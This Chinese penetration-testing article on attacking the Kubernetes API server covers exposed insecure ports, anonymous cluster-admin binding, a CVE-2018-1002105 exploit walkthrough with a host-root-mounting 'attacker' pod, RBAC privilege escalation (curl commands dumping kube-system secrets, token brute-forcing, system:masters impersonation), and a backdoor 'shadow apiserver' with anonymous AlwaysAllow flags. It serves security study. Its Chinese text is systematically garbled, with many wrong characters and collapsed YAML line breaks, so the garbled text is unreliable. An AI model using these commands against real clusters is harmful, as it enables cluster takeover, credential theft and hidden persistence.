文章首发于前线Zone社区:https://zone.huoxian.cn/d/126...

apiserver简介

API Server 作为 K8s 集群的治理入口,在集群中被用于提供API来管制集群外部。默认状况下应用 8080 (insecure-port,非平安端口)和 6443 (secure-port,平安端口)端口,其中 8080 端口无需认证,6443端口须要认证且有 TLS 爱护。

apiserver工作原理图

而apiserver在浸透测试过程中受到以下危险:

  • apiserver的Insecure-port端口对外裸露
  • apiserver未受权配置谬误(匿名拜访+绑定高权限角色)
  • 历史apiserver提权破绽(例如CVE-2018-1002105)
  • 配置不当的RBAC受到的提权危险
  • apiserver权限维持
  • ...

1.apiserver的Insecure-port端口对外裸露

API Server 作为 K8s 集群的治理入口,在集群中被用于提供API来管制集群外部。默认状况下应用 8080 (insecure-port,非平安端口)和 6443 (secure-port,平安端口)端口,其中 8080 端口无需认证,6443端口须要认证且有 TLS 爱护。

如果其在生产环境中Insecure-port 被裸露进去,便利用此端口进行对集群的攻打。

然而这种状况很少了,条件必须是低版本(1.20版本后该选项已有效化)加配置中(/etc/kubernets/manifests/kube-apiserver.yaml )写了insecure-port选项,默认不开启:

2.apiserver未受权配置谬误(匿名拜访+绑定高权限角色)

Api server的 6443 (secure-port,平安端口)认证是须要凭据的。

如果配置谬误,将system:anonymous用户绑定到了cluster-admin用户组,那么匿名用户能够摆布集群。

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

这种配置下能够拿到所有token后与api server交互,摆布集群:

3.历史apiserver提权破绽(例如CVE-2018-1002105)

CVE-2018-1002105是一个K8s提权破绽,Kubernetes用户能够在已建设的API Server连贯上,买通了client到kubelet的通道,实现晋升k8s普通用户到k8s api server的权限。

破绽影响版本:

  • Kubernetes v1.0.x-1.9.x
  • Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
  • Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
  • Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)

破绽利用条件:

这边普通用户至多须要具备一个pod的exec/attach/portforward等权限。

环境:

结构一个命名空间test,和一个test命名空间的pod,原有权限是对test命名空间下的pod的exec权限,破绽利用后将权限晋升为了API Server权限,这里用metarget靶场起一个环境:

创立namespace:

apiVersion: v1kind: Namespacemetadata:  name: test

创立role:

apiVersion: rbac.authorization.k8s.io/v1kind: Rolemetadata:  name: test  namespace: testrules:- apiGroups:  - ""  resources:  - pods  verbs:  - get  - list  - delete  - watch- apiGroups:  - ""  resources:  - pods/exec  verbs:  - create  - get

创立role_binding.yml:

apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:  name: test  namespace: testroleRef:  apiGroup: rbac.authorization.k8s.io  kind: Role  name: testsubjects:- apiGroup: rbac.authorization.k8s.io  kind: Group  name: test

创立pod:

apiVersion: v1kind: Podmetadata:  name: test  namespace: testspec:  containers:  - name: ubuntu    image: ubuntu:latest    imagePullPolicy: IfNotPresent    # Just spin & wait forever    command: [ "/bin/bash", "-c", "--" ]    args: [ "while true; do sleep 30; done;" ]  serviceAccount: default  serviceAccountName: default

最初给用户配置一个动态的token文件来配置用户的认证:

当在命令行上指定 --token-auth-file=SOMEFILE 选项时,API server 从文件读取 bearer token。

token 文件是一个 csv 文件,每行至多蕴含三列:token、用户名、用户 uid:

token,user,uid,"group1,group2,group3"

这里应用到的配置token:

password,test,test,test

验证:

对指定test空间下的pod执行命令是能够的:

kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify exec -it test -n test /bin/hostname

对其余命名空间越权操作发现提醒权限有余:

kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify get pods -n kube-system

破绽复现:

exp:https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py

exp中也是会创立一个挂载宿主机根目录的pod,实现容器逃,而创立的根底是利用后面说的高权限websocket连贯,利用这个连贯向apiserver发送命令,窃取高凭据文件,再利用凭据文件创建pod,挂载宿主机根目录。

挂载了当前读取宿主机节点的/etc/kubernetes/pki目录下的大量敏感凭据:

exp中指定读取的证书文件:

利用:

这样就拿到了凭据,最初就是创立pod挂载宿主机根目录:

# attacker.yamlapiVersion: v1kind: Podmetadata:  name: attackerspec:  containers:  - name: ubuntu    image: ubuntu:latest    imagePullPolicy: IfNotPresent    # Just spin & wait forever    command: [ "/bin/bash", "-c", "--" ]    args: [ "while true; do sleep 30; done;" ]    volumeMounts:    - name: escape-host      mountPath: /host-escape-door  volumes:    - name: escape-host      hostPath:        path: /

host-escape-door 目录为pod挂载宿主机的目录,发现曾经能够查看apiserver宿主机的目录:

4.配置不当的RBAC受到的提权危险

RBAC权限滥用提权

权限滥用次要在对特定资源有特定操作的状况下,能够有特定的权限晋升。

枚举以后RBAC权限

在指定以后通过浸透失去用户凭据或者sa的凭据后,能够先枚举以后有哪些权限:

也能够应用curl对apiserver的api进行拜访来区别以后的权限:

枚举之后应该对以后凭据对资源的操作有个数了,上面列举在调配权限时,哪些状况下有提权晋升的可能。

create pods权限

resources: ["*"] verbs: ["create"]resources为*或者为pods的状况下,verbs是create,在集群中能够创立任意资源,比方像pods,roles.而创立pods的命名空间也取决你role中metadata.namespace的值:

如果有create权限,常见攻打手法就是创立挂载根目录的pod,跳到node:

list secrets权限

resources: ["*"] verbs: ["list"]resources为*或者为secrets的状况下,verbs是list,在集群中能够列出其余user的secrets,个别拿来寻找特权账号凭据。

具备list权限或者说是list secrets权限的role能够列出集群中重要的secrets,包含治理的keys(JWT):

利用:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

get secret权限

resources: ["*"] verbs: ["get"]: resources为*或者为secrets的状况下,verbs是get,get能够在集群中取得其余service accounts的secrets。

如下定义Role的resources字段为*或者secrets对象,并且verbs为get,这时候有权限取得其余secrets。

get权限能拜访的api:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

然而get和list不一样,get须要晓得secrets的id能力读:

图出处:图出处,list和get来窃取凭据的区别:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

这时候用读secrets来攻打的话常见手法是读默认的sa的token,默认有这些sa:

对应的token:

kubectl -n kube-system get secret -n kube-system


能够看到每个sa的token都是sa的name-token-随机五个字符,

其中随机的字符是由数字和字母组合,特定的27个字符:

https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183:#

27的5次方也是14,348,907可能,写个py脚本的迭代器爆破即可:

get list watch secrets权限

resources: ["*"] verbs: ["get","list","watch"]:resources字段为*或者secrets的话能够利用这三个权限,来创立一个歹意pod后通过挂载secrets以至获取他人的secrets,而后外带:

这里应用automountServiceAccountToken将特权服务帐户的令牌挂载到 pod,应用令牌获取拿到所有secrets后用nc传到攻击者监听端口,以后也能够应用其余形式带外:

图出处,创立一个"hot pod"来窃取凭据:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

Impersonate权限

用户能够通过模仿标头充当另一个用户。这些让申请手动笼罩申请身份验证的用户信息。例如,管理员能够应用此性能通过长期模仿另一个用户并查看申请是否被回绝来调试受权策略。

以下 HTTP 标头可用于执行模仿申请:

  • Impersonate-User:要充当的用户名。
  • Impersonate-Group:要充当的组名。能够屡次提供设置多个组。可选的。须要“模仿用户”。
  • Impersonate-Extra-( extra name ):用于将额定字段与用户关联的动静题目。可选的。须要“模仿用户”。
  • Impersonate-Uid:代表被模仿用户的惟一标识符。可选的。须要“模仿用户”。Kubernetes 对此字符串没有任何格局要求。

有了Impersonate权限攻击者能够模仿一个有特权的账户或者组:
Role:

binding:

模仿用户的操作是通过调用K8s API 的Header来指定的,kubectl能够退出--as参数:

kubectl --as <user-to-impersonate> ...kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...

申请apiserver:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \-H "Impersonate-Group: system:masters"\ -H "Impersonate-User: null" \-H "Accept: application/json" \https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

5.apiserver权限维持

在浸透权限维持阶段如果像惯例对机器比方容器做权限维持的话, 是有弊病的,因为在K8s中会对pod进行扩容和缩容,权限维持的机器就会变得有生命周期而使已取得权限变得不稳固。所以在K8s中利用apiserver做权限维持是个不错的抉择,

shadow apiserver

shadow apiserver就是创立一种针对K8s集群的荫蔽继续管制通道, 在原有的apiserver上凋谢更大的权限并且放弃日志审计,从而达到隐蔽性和长久管制目标。

pdf:

https://published-prd.lanyone...

本来apiserver信息:

apiserver pod的具体:

结构shadow apiserver须要在原有的根底上减少性能,总所周知cdk工具能够一键部署shadow apiserver:

pkg/exploit/k8s_shadow_apiserver.go:

能够发现cdk在配置文件中增加:

--allow-privileged--insecure-port=9443--insecure-bind-address=0.0.0.0--secure-port=9444--anonymous-auth=true--authorization-mode=AlwaysAllow

能够看到通过参数新启动的apiserver容许了容器申请特权模式,裸露了insecure-port为9443,监听地址绑定为0.0.0.0,容许了匿名拜访,容许所有申请。

也能够批改cdk中原有配置的参数来定制你的后门apiserver。间接批改argInsertReg.ReplaceAllString函数里的内容即可。

ps :

insecure-port的参数在最新cdk曾经被正文了,这个参数在K8s 1.24会间接弃用。

所以这个时候以后能够匿名向apiserver拜访申请治理集群,curl/kubectl去申请,

kubectl -s 192.168.1.22:6443 get pods,deployment -o wide

6.最初

k8s API Server提供了k8s各类资源对象(pod,RC,Service等)的增删改查及watch等HTTP Rest接口,是整个零碎的数据总线和数据中心,充当了集群中不可或缺的一个角色,因而apiserver组件的平安以及基线查看工作对于集群来说尤为重要,在集群平安的角度对apiserver组件平安问题和危险也应该放弃继续的关注。